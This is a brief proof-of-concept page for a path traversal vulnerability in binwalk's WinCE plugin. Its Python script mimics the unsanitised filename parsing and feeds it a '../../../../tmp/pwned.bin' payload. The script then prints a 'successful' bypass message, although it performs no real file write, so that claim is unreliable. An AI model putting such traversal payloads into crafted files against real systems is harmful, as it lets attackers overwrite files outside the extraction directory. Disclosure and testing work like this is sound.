CVE-2026-7179 binwalk路径遍历漏洞

# PoC for CVE-2026-7179 (Path Traversal in binwalk WinCE plugin) # This script demonstrates the lack of sanitization leading to path traversal. def vulnerable_read_string(data): # Simulating the vulnerable function in winceextract.py # It reads a string until a null byte without checking for path traversal filename = data.split(b'\x00')[0].decode('utf-8') return filename # Malicious payload containing path traversal sequences malicious_payload = b'../../../../tmp/pwned.bin\x00' extracted_path = vulnerable_read_string(malicious_payload) print(f"[+] Extracted File Path: {extracted_path}") # If this path is used in file operations without checks, it leads to Path Traversal. print("[!] Path Traversal successful: Directory restrictions bypassed.")